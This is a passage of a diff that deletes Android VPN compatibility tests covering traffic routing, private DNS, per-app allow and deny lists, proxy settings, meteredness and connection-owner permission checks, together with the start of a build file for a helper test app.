-        int bytesRead = 0, totalRead = 0;
-        do {
-            bytesRead = in.read(read, totalRead, read.length - totalRead);
-            totalRead += bytesRead;
-        } while (bytesRead >= 0 && totalRead < data.length);
-        assertEquals(totalRead, data.length);
-        MoreAsserts.assertEquals(data, read);
-    }
-
-    private void checkTcpReflection(String to, String expectedFrom) throws IOException {
-        // Exercise TCP over the VPN by "connecting to ourselves". We open a server socket and a
-        // client socket, and connect the client socket to a remote host, with the port of the
-        // server socket. The PacketReflector reflects the packets, changing the source addresses
-        // but not the ports, so our client socket is connected to our server socket, though both
-        // sockets think their peers are on the "remote" IP address.
-
-        // Open a listening socket.
-        ServerSocket listen = new ServerSocket(0, 10, InetAddress.getByName("::"));
-
-        // Connect the client socket to it.
-        InetAddress toAddr = InetAddress.getByName(to);
-        Socket client = new Socket();
-        try {
-            client.connect(new InetSocketAddress(toAddr, listen.getLocalPort()), SOCKET_TIMEOUT_MS);
-            if (expectedFrom == null) {
-                closeQuietly(listen);
-                closeQuietly(client);
-                fail("Expected connection to fail, but it succeeded.");
-            }
-        } catch (IOException e) {
-            if (expectedFrom != null) {
-                closeQuietly(listen);
-                fail("Expected connection to succeed, but it failed.");
-            } else {
-                // We expected the connection to fail, and it did, so there's nothing more to test.
-                return;
-            }
-        }
-
-        // The connection succeeded, and we expected it to succeed. Send some data; if things are
-        // working, the data will be sent to the VPN, reflected by the PacketReflector, and arrive
-        // at our server socket. For good measure, send some data in the other direction.
-        Socket server = null;
-        try {
-            // Accept the connection on the server side.
-            listen.setSoTimeout(SOCKET_TIMEOUT_MS);
-            server = listen.accept();
-            checkConnectionOwnerUidTcp(client);
-            checkConnectionOwnerUidTcp(server);
-            // Check that the source and peer addresses are as expected.
-            assertEquals(expectedFrom, client.getLocalAddress().getHostAddress());
-            assertEquals(expectedFrom, server.getLocalAddress().getHostAddress());
-            assertEquals(
-                    new InetSocketAddress(toAddr, client.getLocalPort()),
-                    server.getRemoteSocketAddress());
-            assertEquals(
-                    new InetSocketAddress(toAddr, server.getLocalPort()),
-                    client.getRemoteSocketAddress());
-
-            // Now write some data.
-            final int LENGTH = 32768;
-            byte[] data = new byte[LENGTH];
-            new Random().nextBytes(data);
-
-            // Make sure our writes don't block or time out, because we're single-threaded and can't
-            // read and write at the same time.
-            server.setReceiveBufferSize(LENGTH * 2);
-            client.setSendBufferSize(LENGTH * 2);
-            client.setSoTimeout(SOCKET_TIMEOUT_MS);
-            server.setSoTimeout(SOCKET_TIMEOUT_MS);
-
-            // Send some data from client to server, then from server to client.
-            writeAndCheckData(client.getOutputStream(), server.getInputStream(), data);
-            writeAndCheckData(server.getOutputStream(), client.getInputStream(), data);
-        } finally {
-            closeQuietly(listen);
-            closeQuietly(client);
-            closeQuietly(server);
-        }
-    }
-
-    private void checkConnectionOwnerUidUdp(DatagramSocket s, boolean expectSuccess) {
-        final int expectedUid = expectSuccess ? Process.myUid() : INVALID_UID;
-        InetSocketAddress loc = new InetSocketAddress(s.getLocalAddress(), s.getLocalPort());
-        InetSocketAddress rem = new InetSocketAddress(s.getInetAddress(), s.getPort());
-        int uid = mCM.getConnectionOwnerUid(OsConstants.IPPROTO_UDP, loc, rem);
-        assertEquals(expectedUid, uid);
-    }
-
-    private void checkConnectionOwnerUidTcp(Socket s) {
-        final int expectedUid = Process.myUid();
-        InetSocketAddress loc = new InetSocketAddress(s.getLocalAddress(), s.getLocalPort());
-        InetSocketAddress rem = new InetSocketAddress(s.getInetAddress(), s.getPort());
-        int uid = mCM.getConnectionOwnerUid(OsConstants.IPPROTO_TCP, loc, rem);
-        assertEquals(expectedUid, uid);
-    }
-
-    private void checkUdpEcho(String to, String expectedFrom) throws IOException {
-        DatagramSocket s;
-        InetAddress address = InetAddress.getByName(to);
-        if (address instanceof Inet6Address) {  // http://b/18094870
-            s = new DatagramSocket(0, InetAddress.getByName("::"));
-        } else {
-            s = new DatagramSocket();
-        }
-        s.setSoTimeout(SOCKET_TIMEOUT_MS);
-
-        Random random = new Random();
-        byte[] data = new byte[random.nextInt(1650)];
-        random.nextBytes(data);
-        DatagramPacket p = new DatagramPacket(data, data.length);
-        s.connect(address, 7);
-
-        if (expectedFrom != null) {
-            assertEquals("Unexpected source address: ",
-                         expectedFrom, s.getLocalAddress().getHostAddress());
-        }
-
-        try {
-            if (expectedFrom != null) {
-                s.send(p);
-                checkConnectionOwnerUidUdp(s, true);
-                s.receive(p);
-                MoreAsserts.assertEquals(data, p.getData());
-            } else {
-                try {
-                    s.send(p);
-                    s.receive(p);
-                    fail("Received unexpected reply");
-                } catch (IOException expected) {
-                    checkConnectionOwnerUidUdp(s, false);
-                }
-            }
-        } finally {
-            s.close();
-        }
-    }
-
-    private void checkTrafficOnVpn() throws Exception {
-        checkUdpEcho("192.0.2.251", "192.0.2.2");
-        checkUdpEcho("2001:db8:dead:beef::f00", "2001:db8:1:2::ffe");
-        checkPing("2001:db8:dead:beef::f00");
-        checkTcpReflection("192.0.2.252", "192.0.2.2");
-        checkTcpReflection("2001:db8:dead:beef::f00", "2001:db8:1:2::ffe");
-    }
-
-    private void checkNoTrafficOnVpn() throws Exception {
-        checkUdpEcho("192.0.2.251", null);
-        checkUdpEcho("2001:db8:dead:beef::f00", null);
-        checkTcpReflection("192.0.2.252", null);
-        checkTcpReflection("2001:db8:dead:beef::f00", null);
-    }
-
-    private FileDescriptor openSocketFd(String host, int port, int timeoutMs) throws Exception {
-        Socket s = new Socket(host, port);
-        s.setSoTimeout(timeoutMs);
-        // Dup the filedescriptor so ParcelFileDescriptor's finalizer doesn't garbage collect it
-        // and cause our fd to become invalid. http://b/35927643 .
-        FileDescriptor fd = Os.dup(ParcelFileDescriptor.fromSocket(s).getFileDescriptor());
-        s.close();
-        return fd;
-    }
-
-    private FileDescriptor openSocketFdInOtherApp(
-            String host, int port, int timeoutMs) throws Exception {
-        Log.d(TAG, String.format("Creating test socket in UID=%d, my UID=%d",
-                mRemoteSocketFactoryClient.getUid(), Os.getuid()));
-        FileDescriptor fd = mRemoteSocketFactoryClient.openSocketFd(host, port, TIMEOUT_MS);
-        return fd;
-    }
-
-    private void sendRequest(FileDescriptor fd, String host) throws Exception {
-        String request = "GET /generate_204 HTTP/1.1\r\n" +
-                "Host: " + host + "\r\n" +
-                "Connection: keep-alive\r\n\r\n";
-        byte[] requestBytes = request.getBytes(StandardCharsets.UTF_8);
-        int ret = Os.write(fd, requestBytes, 0, requestBytes.length);
-        Log.d(TAG, "Wrote " + ret + "bytes");
-
-        String expected = "HTTP/1.1 204 No Content\r\n";
-        byte[] response = new byte[expected.length()];
-        Os.read(fd, response, 0, response.length);
-
-        String actual = new String(response, StandardCharsets.UTF_8);
-        assertEquals(expected, actual);
-        Log.d(TAG, "Got response: " + actual);
-    }
-
-    private void assertSocketStillOpen(FileDescriptor fd, String host) throws Exception {
-        try {
-            assertTrue(fd.valid());
-            sendRequest(fd, host);
-            assertTrue(fd.valid());
-        } finally {
-            Os.close(fd);
-        }
-    }
-
-    private void assertSocketClosed(FileDescriptor fd, String host) throws Exception {
-        try {
-            assertTrue(fd.valid());
-            sendRequest(fd, host);
-            fail("Socket opened before VPN connects should be closed when VPN connects");
-        } catch (ErrnoException expected) {
-            assertEquals(ECONNABORTED, expected.errno);
-            assertTrue(fd.valid());
-        } finally {
-            Os.close(fd);
-        }
-    }
-
-    private ContentResolver getContentResolver() {
-        return getInstrumentation().getContext().getContentResolver();
-    }
-
-    private boolean isPrivateDnsInStrictMode() {
-        return PRIVATE_DNS_MODE_PROVIDER_HOSTNAME.equals(
-                Settings.Global.getString(getContentResolver(), PRIVATE_DNS_MODE_SETTING));
-    }
-
-    private void storePrivateDnsSetting() {
-        mOldPrivateDnsMode = Settings.Global.getString(getContentResolver(),
-                PRIVATE_DNS_MODE_SETTING);
-        mOldPrivateDnsSpecifier = Settings.Global.getString(getContentResolver(),
-                PRIVATE_DNS_SPECIFIER_SETTING);
-    }
-
-    private void restorePrivateDnsSetting() {
-        Settings.Global.putString(getContentResolver(), PRIVATE_DNS_MODE_SETTING,
-                mOldPrivateDnsMode);
-        Settings.Global.putString(getContentResolver(), PRIVATE_DNS_SPECIFIER_SETTING,
-                mOldPrivateDnsSpecifier);
-    }
-
-    // TODO: replace with CtsNetUtils.awaitPrivateDnsSetting in Q or above.
-    private void expectPrivateDnsHostname(final String hostname) throws Exception {
-        final NetworkRequest request = new NetworkRequest.Builder()
-                .removeCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN)
-                .build();
-        final CountDownLatch latch = new CountDownLatch(1);
-        final NetworkCallback callback = new NetworkCallback() {
-            @Override
-            public void onLinkPropertiesChanged(Network network, LinkProperties lp) {
-                if (network.equals(mNetwork) &&
-                        Objects.equals(lp.getPrivateDnsServerName(), hostname)) {
-                    latch.countDown();
-                }
-            }
-        };
-
-        mCM.registerNetworkCallback(request, callback);
-
-        try {
-            assertTrue("Private DNS hostname was not " + hostname + " after " + TIMEOUT_MS + "ms",
-                    latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            mCM.unregisterNetworkCallback(callback);
-        }
-    }
-
-    private void setAndVerifyPrivateDns(boolean strictMode) throws Exception {
-        final ContentResolver cr = getInstrumentation().getContext().getContentResolver();
-        String privateDnsHostname;
-
-        if (strictMode) {
-            privateDnsHostname = "vpncts-nx.metric.gstatic.com";
-            Settings.Global.putString(cr, PRIVATE_DNS_SPECIFIER_SETTING, privateDnsHostname);
-            Settings.Global.putString(cr, PRIVATE_DNS_MODE_SETTING,
-                    PRIVATE_DNS_MODE_PROVIDER_HOSTNAME);
-        } else {
-            Settings.Global.putString(cr, PRIVATE_DNS_MODE_SETTING, PRIVATE_DNS_MODE_OPPORTUNISTIC);
-            privateDnsHostname = null;
-        }
-
-        expectPrivateDnsHostname(privateDnsHostname);
-
-        String randomName = "vpncts-" + new Random().nextInt(1000000000) + "-ds.metric.gstatic.com";
-        if (strictMode) {
-            // Strict mode private DNS is enabled. DNS lookups should fail, because the private DNS
-            // server name is invalid.
-            try {
-                InetAddress.getByName(randomName);
-                fail("VPN DNS lookup should fail with private DNS enabled");
-            } catch (UnknownHostException expected) {
-            }
-        } else {
-            // Strict mode private DNS is disabled. DNS lookup should succeed, because the VPN
-            // provides no DNS servers, and thus DNS falls through to the default network.
-            assertNotNull("VPN DNS lookup should succeed with private DNS disabled",
-                    InetAddress.getByName(randomName));
-        }
-    }
-
-    // Tests that strict mode private DNS is used on VPNs.
-    private void checkStrictModePrivateDns() throws Exception {
-        final boolean initialMode = isPrivateDnsInStrictMode();
-        setAndVerifyPrivateDns(!initialMode);
-        setAndVerifyPrivateDns(initialMode);
-    }
-
-    public void testDefault() throws Exception {
-        if (!supportedHardware()) return;
-        // If adb TCP port opened, this test may running by adb over network.
-        // All of socket would be destroyed in this test. So this test don't
-        // support adb over network, see b/119382723.
-        if (SystemProperties.getInt("persist.adb.tcp.port", -1) > -1
-                || SystemProperties.getInt("service.adb.tcp.port", -1) > -1) {
-            Log.i(TAG, "adb is running over the network, so skip this test");
-            return;
-        }
-
-        final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(
-                getInstrumentation().getTargetContext(), MyVpnService.ACTION_ESTABLISHED);
-        receiver.register();
-
-        FileDescriptor fd = openSocketFdInOtherApp(TEST_HOST, 80, TIMEOUT_MS);
-
-        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
-                 new String[] {"0.0.0.0/0", "::/0"},
-                 "", "", null, null /* underlyingNetworks */, false /* isAlwaysMetered */);
-
-        final Intent intent = receiver.awaitForBroadcast(TimeUnit.MINUTES.toMillis(1));
-        assertNotNull("Failed to receive broadcast from VPN service", intent);
-        assertFalse("Wrong VpnService#isAlwaysOn",
-                intent.getBooleanExtra(MyVpnService.EXTRA_ALWAYS_ON, true));
-        assertFalse("Wrong VpnService#isLockdownEnabled",
-                intent.getBooleanExtra(MyVpnService.EXTRA_LOCKDOWN_ENABLED, true));
-
-        assertSocketClosed(fd, TEST_HOST);
-
-        checkTrafficOnVpn();
-
-        checkStrictModePrivateDns();
-
-        receiver.unregisterQuietly();
-    }
-
-    public void testAppAllowed() throws Exception {
-        if (!supportedHardware()) return;
-
-        FileDescriptor fd = openSocketFdInOtherApp(TEST_HOST, 80, TIMEOUT_MS);
-
-        // Shell app must not be put in here or it would kill the ADB-over-network use case
-        String allowedApps = mRemoteSocketFactoryClient.getPackageName() + "," + mPackageName;
-        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
-                 new String[] {"192.0.2.0/24", "2001:db8::/32"},
-                 allowedApps, "", null, null /* underlyingNetworks */, false /* isAlwaysMetered */);
-
-        assertSocketClosed(fd, TEST_HOST);
-
-        checkTrafficOnVpn();
-
-        checkStrictModePrivateDns();
-    }
-
-    public void testAppDisallowed() throws Exception {
-        if (!supportedHardware()) return;
-
-        FileDescriptor localFd = openSocketFd(TEST_HOST, 80, TIMEOUT_MS);
-        FileDescriptor remoteFd = openSocketFdInOtherApp(TEST_HOST, 80, TIMEOUT_MS);
-
-        String disallowedApps = mRemoteSocketFactoryClient.getPackageName() + "," + mPackageName;
-        // If adb TCP port opened, this test may running by adb over TCP.
-        // Add com.android.shell appllication into blacklist to exclude adb socket for VPN test,
-        // see b/119382723.
-        // Note: The test don't support running adb over network for root device
-        disallowedApps = disallowedApps + ",com.android.shell";
-        Log.i(TAG, "Append shell app to disallowedApps: " + disallowedApps);
-        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
-                 new String[] {"192.0.2.0/24", "2001:db8::/32"},
-                 "", disallowedApps, null, null /* underlyingNetworks */,
-                 false /* isAlwaysMetered */);
-
-        assertSocketStillOpen(localFd, TEST_HOST);
-        assertSocketStillOpen(remoteFd, TEST_HOST);
-
-        checkNoTrafficOnVpn();
-    }
-
-    public void testGetConnectionOwnerUidSecurity() throws Exception {
-        if (!supportedHardware()) return;
-
-        DatagramSocket s;
-        InetAddress address = InetAddress.getByName("localhost");
-        s = new DatagramSocket();
-        s.setSoTimeout(SOCKET_TIMEOUT_MS);
-        s.connect(address, 7);
-        InetSocketAddress loc = new InetSocketAddress(s.getLocalAddress(), s.getLocalPort());
-        InetSocketAddress rem = new InetSocketAddress(s.getInetAddress(), s.getPort());
-        try {
-            int uid = mCM.getConnectionOwnerUid(OsConstants.IPPROTO_TCP, loc, rem);
-            fail("Only an active VPN app may call this API.");
-        } catch (SecurityException expected) {
-            return;
-        }
-    }
-
-    public void testSetProxy() throws  Exception {
-        if (!supportedHardware()) return;
-        ProxyInfo initialProxy = mCM.getDefaultProxy();
-        // Receiver for the proxy change broadcast.
-        BlockingBroadcastReceiver proxyBroadcastReceiver = new ProxyChangeBroadcastReceiver();
-        proxyBroadcastReceiver.register();
-
-        String allowedApps = mPackageName;
-        ProxyInfo testProxyInfo = ProxyInfo.buildDirectProxy("10.0.0.1", 8888);
-        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
-                new String[] {"0.0.0.0/0", "::/0"}, allowedApps, "",
-                testProxyInfo, null /* underlyingNetworks */, false /* isAlwaysMetered */);
-
-        // Check that the proxy change broadcast is received
-        try {
-            assertNotNull("No proxy change was broadcast when VPN is connected.",
-                    proxyBroadcastReceiver.awaitForBroadcast());
-        } finally {
-            proxyBroadcastReceiver.unregisterQuietly();
-        }
-
-        // Proxy is set correctly in network and in link properties.
-        assertNetworkHasExpectedProxy(testProxyInfo, mNetwork);
-        assertDefaultProxy(testProxyInfo);
-
-        proxyBroadcastReceiver = new ProxyChangeBroadcastReceiver();
-        proxyBroadcastReceiver.register();
-        stopVpn();
-        try {
-            assertNotNull("No proxy change was broadcast when VPN was disconnected.",
-                    proxyBroadcastReceiver.awaitForBroadcast());
-        } finally {
-            proxyBroadcastReceiver.unregisterQuietly();
-        }
-
-        // After disconnecting from VPN, the proxy settings are the ones of the initial network.
-        assertDefaultProxy(initialProxy);
-    }
-
-    public void testSetProxyDisallowedApps() throws Exception {
-        if (!supportedHardware()) return;
-        ProxyInfo initialProxy = mCM.getDefaultProxy();
-
-        // If adb TCP port opened, this test may running by adb over TCP.
-        // Add com.android.shell appllication into blacklist to exclude adb socket for VPN test,
-        // see b/119382723.
-        // Note: The test don't support running adb over network for root device
-        String disallowedApps = mPackageName + ",com.android.shell";
-        ProxyInfo testProxyInfo = ProxyInfo.buildDirectProxy("10.0.0.1", 8888);
-        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
-                new String[] {"0.0.0.0/0", "::/0"}, "", disallowedApps,
-                testProxyInfo, null /* underlyingNetworks */, false /* isAlwaysMetered */);
-
-        // The disallowed app does has the proxy configs of the default network.
-        assertNetworkHasExpectedProxy(initialProxy, mCM.getActiveNetwork());
-        assertDefaultProxy(initialProxy);
-    }
-
-    public void testNoProxy() throws Exception {
-        if (!supportedHardware()) return;
-        ProxyInfo initialProxy = mCM.getDefaultProxy();
-        BlockingBroadcastReceiver proxyBroadcastReceiver = new ProxyChangeBroadcastReceiver();
-        proxyBroadcastReceiver.register();
-        String allowedApps = mPackageName;
-        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
-                new String[] {"0.0.0.0/0", "::/0"}, allowedApps, "", null,
-                null /* underlyingNetworks */, false /* isAlwaysMetered */);
-
-        try {
-            assertNotNull("No proxy change was broadcast.",
-                    proxyBroadcastReceiver.awaitForBroadcast());
-        } finally {
-            proxyBroadcastReceiver.unregisterQuietly();
-        }
-
-        // The VPN network has no proxy set.
-        assertNetworkHasExpectedProxy(null, mNetwork);
-
-        proxyBroadcastReceiver = new ProxyChangeBroadcastReceiver();
-        proxyBroadcastReceiver.register();
-        stopVpn();
-        try {
-            assertNotNull("No proxy change was broadcast.",
-                    proxyBroadcastReceiver.awaitForBroadcast());
-        } finally {
-            proxyBroadcastReceiver.unregisterQuietly();
-        }
-        // After disconnecting from VPN, the proxy settings are the ones of the initial network.
-        assertDefaultProxy(initialProxy);
-        assertNetworkHasExpectedProxy(initialProxy, mCM.getActiveNetwork());
-    }
-
-    public void testBindToNetworkWithProxy() throws Exception {
-        if (!supportedHardware()) return;
-        String allowedApps = mPackageName;
-        Network initialNetwork = mCM.getActiveNetwork();
-        ProxyInfo initialProxy = mCM.getDefaultProxy();
-        ProxyInfo testProxyInfo = ProxyInfo.buildDirectProxy("10.0.0.1", 8888);
-        // Receiver for the proxy change broadcast.
-        BlockingBroadcastReceiver proxyBroadcastReceiver = new ProxyChangeBroadcastReceiver();
-        proxyBroadcastReceiver.register();
-        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
-                new String[] {"0.0.0.0/0", "::/0"}, allowedApps, "",
-                testProxyInfo, null /* underlyingNetworks */, false /* isAlwaysMetered */);
-
-        assertDefaultProxy(testProxyInfo);
-        mCM.bindProcessToNetwork(initialNetwork);
-        try {
-            assertNotNull("No proxy change was broadcast.",
-                proxyBroadcastReceiver.awaitForBroadcast());
-        } finally {
-            proxyBroadcastReceiver.unregisterQuietly();
-        }
-        assertDefaultProxy(initialProxy);
-    }
-
-    public void testVpnMeterednessWithNoUnderlyingNetwork() throws Exception {
-        if (!supportedHardware()) {
-            return;
-        }
-        // VPN is not routing any traffic i.e. its underlying networks is an empty array.
-        ArrayList<Network> underlyingNetworks = new ArrayList<>();
-        String allowedApps = mPackageName;
-
-        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
-                new String[] {"0.0.0.0/0", "::/0"}, allowedApps, "", null,
-                underlyingNetworks, false /* isAlwaysMetered */);
-
-        // VPN should now be the active network.
-        assertEquals(mNetwork, mCM.getActiveNetwork());
-        assertVpnTransportContains(NetworkCapabilities.TRANSPORT_VPN);
-        // VPN with no underlying networks should be metered by default.
-        assertTrue(isNetworkMetered(mNetwork));
-        assertTrue(mCM.isActiveNetworkMetered());
-    }
-
-    public void testVpnMeterednessWithNullUnderlyingNetwork() throws Exception {
-        if (!supportedHardware()) {
-            return;
-        }
-        Network underlyingNetwork = mCM.getActiveNetwork();
-        if (underlyingNetwork == null) {
-            Log.i(TAG, "testVpnMeterednessWithNullUnderlyingNetwork cannot execute"
-                    + " unless there is an active network");
-            return;
-        }
-        // VPN tracks platform default.
-        ArrayList<Network> underlyingNetworks = null;
-        String allowedApps = mPackageName;
-
-        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
-                new String[] {"0.0.0.0/0", "::/0"}, allowedApps, "", null,
-                underlyingNetworks, false /*isAlwaysMetered */);
-
-        // Ensure VPN transports contains underlying network's transports.
-        assertVpnTransportContains(underlyingNetwork);
-        // Its meteredness should be same as that of underlying network.
-        assertEquals(isNetworkMetered(underlyingNetwork), isNetworkMetered(mNetwork));
-        // Meteredness based on VPN capabilities and CM#isActiveNetworkMetered should be in sync.
-        assertEquals(isNetworkMetered(mNetwork), mCM.isActiveNetworkMetered());
-    }
-
-    public void testVpnMeterednessWithNonNullUnderlyingNetwork() throws Exception {
-        if (!supportedHardware()) {
-            return;
-        }
-        Network underlyingNetwork = mCM.getActiveNetwork();
-        if (underlyingNetwork == null) {
-            Log.i(TAG, "testVpnMeterednessWithNonNullUnderlyingNetwork cannot execute"
-                    + " unless there is an active network");
-            return;
-        }
-        // VPN explicitly declares WiFi to be its underlying network.
-        ArrayList<Network> underlyingNetworks = new ArrayList<>(1);
-        underlyingNetworks.add(underlyingNetwork);
-        String allowedApps = mPackageName;
-
-        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
-                new String[] {"0.0.0.0/0", "::/0"}, allowedApps, "", null,
-                underlyingNetworks, false /* isAlwaysMetered */);
-
-        // Ensure VPN transports contains underlying network's transports.
-        assertVpnTransportContains(underlyingNetwork);
-        // Its meteredness should be same as that of underlying network.
-        assertEquals(isNetworkMetered(underlyingNetwork), isNetworkMetered(mNetwork));
-        // Meteredness based on VPN capabilities and CM#isActiveNetworkMetered should be in sync.
-        assertEquals(isNetworkMetered(mNetwork), mCM.isActiveNetworkMetered());
-    }
-
-    public void testAlwaysMeteredVpnWithNullUnderlyingNetwork() throws Exception {
-        if (!supportedHardware()) {
-            return;
-        }
-        Network underlyingNetwork = mCM.getActiveNetwork();
-        if (underlyingNetwork == null) {
-            Log.i(TAG, "testAlwaysMeteredVpnWithNullUnderlyingNetwork cannot execute"
-                    + " unless there is an active network");
-            return;
-        }
-        // VPN tracks platform default.
-        ArrayList<Network> underlyingNetworks = null;
-        String allowedApps = mPackageName;
-        boolean isAlwaysMetered = true;
-
-        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
-                new String[] {"0.0.0.0/0", "::/0"}, allowedApps, "", null,
-                underlyingNetworks, isAlwaysMetered);
-
-        // VPN's meteredness does not depend on underlying network since it is always metered.
-        assertTrue(isNetworkMetered(mNetwork));
-        assertTrue(mCM.isActiveNetworkMetered());
-    }
-
-    public void testAlwaysMeteredVpnWithNonNullUnderlyingNetwork() throws Exception {
-        if (!supportedHardware()) {
-            return;
-        }
-        Network underlyingNetwork = mCM.getActiveNetwork();
-        if (underlyingNetwork == null) {
-            Log.i(TAG, "testAlwaysMeteredVpnWithNonNullUnderlyingNetwork cannot execute"
-                    + " unless there is an active network");
-            return;
-        }
-        // VPN explicitly declares its underlying network.
-        ArrayList<Network> underlyingNetworks = new ArrayList<>(1);
-        underlyingNetworks.add(underlyingNetwork);
-        String allowedApps = mPackageName;
-        boolean isAlwaysMetered = true;
-
-        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
-                new String[] {"0.0.0.0/0", "::/0"}, allowedApps, "", null,
-                underlyingNetworks, isAlwaysMetered);
-
-        // VPN's meteredness does not depend on underlying network since it is always metered.
-        assertTrue(isNetworkMetered(mNetwork));
-        assertTrue(mCM.isActiveNetworkMetered());
-    }
-
-    public void testB141603906() throws Exception {
-        if (!supportedHardware()) {
-            return;
-        }
-        final InetSocketAddress src = new InetSocketAddress(0);
-        final InetSocketAddress dst = new InetSocketAddress(0);
-        final int NUM_THREADS = 8;
-        final int NUM_SOCKETS = 5000;
-        final Thread[] threads = new Thread[NUM_THREADS];
-        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
-                 new String[] {"0.0.0.0/0", "::/0"},
-                 "" /* allowedApplications */, "com.android.shell" /* disallowedApplications */,
-                null /* proxyInfo */, null /* underlyingNetworks */, false /* isAlwaysMetered */);
-
-        for (int i = 0; i < NUM_THREADS; i++) {
-            threads[i] = new Thread(() -> {
-                for (int j = 0; j < NUM_SOCKETS; j++) {
-                    mCM.getConnectionOwnerUid(IPPROTO_TCP, src, dst);
-                }
-            });
-        }
-        for (Thread thread : threads) {
-            thread.start();
-        }
-        for (Thread thread : threads) {
-            thread.join();
-        }
-        stopVpn();
-    }
-
-    private boolean isNetworkMetered(Network network) {
-        NetworkCapabilities nc = mCM.getNetworkCapabilities(network);
-        return !nc.hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_METERED);
-    }
-
-    private void assertVpnTransportContains(Network underlyingNetwork) {
-        int[] transports = mCM.getNetworkCapabilities(underlyingNetwork).getTransportTypes();
-        assertVpnTransportContains(transports);
-    }
-
-    private void assertVpnTransportContains(int... transports) {
-        NetworkCapabilities vpnCaps = mCM.getNetworkCapabilities(mNetwork);
-        for (int transport : transports) {
-            assertTrue(vpnCaps.hasTransport(transport));
-        }
-    }
-
-    private void assertDefaultProxy(ProxyInfo expected) {
-        assertEquals("Incorrect proxy config.", expected, mCM.getDefaultProxy());
-        String expectedHost = expected == null ? null : expected.getHost();
-        String expectedPort = expected == null ? null : String.valueOf(expected.getPort());
-        assertEquals("Incorrect proxy host system property.", expectedHost,
-            System.getProperty("http.proxyHost"));
-        assertEquals("Incorrect proxy port system property.", expectedPort,
-            System.getProperty("http.proxyPort"));
-    }
-
-    private void assertNetworkHasExpectedProxy(ProxyInfo expected, Network network) {
-        LinkProperties lp = mCM.getLinkProperties(network);
-        assertNotNull("The network link properties object is null.", lp);
-        assertEquals("Incorrect proxy config.", expected, lp.getHttpProxy());
-
-        assertEquals(expected, mCM.getProxyForNetwork(network));
-    }
-
-    class ProxyChangeBroadcastReceiver extends BlockingBroadcastReceiver {
-        private boolean received;
-
-        public ProxyChangeBroadcastReceiver() {
-            super(VpnTest.this.getInstrumentation().getContext(), Proxy.PROXY_CHANGE_ACTION);
-            received = false;
-        }
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            if (!received) {
-                // Do not call onReceive() more than once.
-                super.onReceive(context, intent);
-            }
-            received = true;
-        }
-    }
-
-    /**
-     * Verifies that DownloadManager has CONNECTIVITY_USE_RESTRICTED_NETWORKS permission that can
-     * bind socket to VPN when it is in VPN disallowed list but requested downloading app is in VPN
-     * allowed list.
-     * See b/165774987.
-     */
-    public void testDownloadWithDownloadManagerDisallowed() throws Exception {
-        if (!supportedHardware()) return;
-
-        // Start a VPN with DownloadManager package in disallowed list.
-        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
-                new String[] {"192.0.2.0/24", "2001:db8::/32"},
-                "" /* allowedApps */, "com.android.providers.downloads", null /* proxyInfo */,
-                null /* underlyingNetworks */, false /* isAlwaysMetered */);
-
-        final Context context = VpnTest.this.getInstrumentation().getContext();
-        final DownloadManager dm = context.getSystemService(DownloadManager.class);
-        final DownloadCompleteReceiver receiver = new DownloadCompleteReceiver();
-        try {
-            context.registerReceiver(receiver,
-                    new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE));
-
-            // Enqueue a request and check only one download.
-            final long id = dm.enqueue(new Request(Uri.parse("https://www.google.com")));
-            assertEquals(1, getTotalNumberDownloads(dm, new Query()));
-            assertEquals(1, getTotalNumberDownloads(dm, new Query().setFilterById(id)));
-
-            // Wait for download complete and check status.
-            assertEquals(id, receiver.get(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertEquals(1, getTotalNumberDownloads(dm,
-                    new Query().setFilterByStatus(DownloadManager.STATUS_SUCCESSFUL)));
-
-            // Remove download.
-            assertEquals(1, dm.remove(id));
-            assertEquals(0, getTotalNumberDownloads(dm, new Query()));
-        } finally {
-            context.unregisterReceiver(receiver);
-        }
-    }
-
-    private static int getTotalNumberDownloads(final DownloadManager dm, final Query query) {
-        try (Cursor cursor = dm.query(query)) { return cursor.getCount(); }
-    }
-
-    private static class DownloadCompleteReceiver extends BroadcastReceiver {
-        private final CompletableFuture<Long> future = new CompletableFuture<>();
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            future.complete(intent.getLongExtra(
-                    DownloadManager.EXTRA_DOWNLOAD_ID, -1 /* defaultValue */));
-        }
-
-        public long get(long timeout, TimeUnit unit) throws Exception {
-            return future.get(timeout, unit);
-        }
-    }
-}
diff --git a/hostsidetests/net/app2/Android.bp b/hostsidetests/net/app2/Android.bp
deleted file mode 100644
index 8e27931..0000000
--- a/hostsidetests/net/app2/Android.bp
+++ /dev/null
@@ -1,29 +0,0 @@
-//
-// Copyright (C) 2016 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-android_test_helper_app {
-    name: "CtsHostsideNetworkTestsApp2",
-    defaults: ["cts_support_defaults"],
-    sdk_version: "current",
-    static_libs: ["CtsHostsideNetworkTestsAidl"],
